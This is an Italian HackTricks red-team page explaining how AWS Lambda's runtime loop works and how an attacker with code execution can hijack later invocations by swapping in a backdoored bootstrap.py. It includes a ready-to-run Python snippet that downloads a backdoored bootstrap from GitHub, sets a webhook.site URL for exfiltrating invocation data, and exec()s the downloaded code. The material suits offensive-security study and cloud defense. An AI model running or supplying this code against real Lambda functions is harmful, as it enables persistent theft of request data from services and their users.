AWS - Rubare le Richieste Lambda

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Flusso Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer è un processo esterno al contenitore che invia invocazioni al processo init.
  2. Il processo init ascolta sulla porta 9001 esponendo alcuni endpoint interessanti:
  • /2018-06-01/runtime/invocation/next – ottieni il prossimo evento di invocazione
  • /2018-06-01/runtime/invocation/{invoke-id}/response – restituisci la risposta del gestore per l'invocazione
  • /2018-06-01/runtime/invocation/{invoke-id}/error – restituisci un errore di esecuzione
  1. bootstrap.py ha un ciclo che ottiene le invocazioni dal processo init e chiama il codice dell'utente per gestirle (/next).
  2. Infine, bootstrap.py invia al init la risposta

Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice effettuata dal codice dell'utente avviene effettivamente in questo processo.

Rubare le Richieste Lambda

L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo bootstrap.py malevolo all'interno del processo bootstrap.py che gestisce la richiesta vulnerabile. In questo modo, il processo bootstrap malevolo inizierà a comunicare con il processo init per gestire le richieste mentre il bootstrap legittimo è intrappolato a eseguire quello malevolo, quindi non chiederà richieste al processo init.

Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo bootstrap.py. Quindi l'attaccante potrebbe:

  • Inviare un risultato falso dell'invocazione corrente al processo init, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni.
  • Deve essere inviata una richiesta a /${invoke-id}/response
  • L'invoke-id può essere ottenuto dallo stack del legittimo processo bootstrap.py utilizzando il modulo python inspect (come proposto qui) o semplicemente richiedendolo di nuovo a /2018-06-01/runtime/invocation/next (come proposto qui).
  • Eseguire un boostrap.py malevolo che gestirà le prossime invocazioni
  • Per motivi di furtività, è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dall'attaccante e poi gestire le richieste come al solito.
  • Per questo attacco, è sufficiente ottenere il codice originale di bootstrap.py dal sistema o da github, aggiungere il codice malevolo ed eseguirlo dall'attuale invocazione lambda.

Passi dell'Attacco

  1. Trovare una vulnerabilità RCE.
  2. Generare un bootstrap malevolo (ad es. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Eseguire il bootstrap malevolo.

Puoi facilmente eseguire queste azioni eseguendo:

bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Per ulteriori informazioni controlla https://github.com/carlospolop/lambda_bootstrap_switcher

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks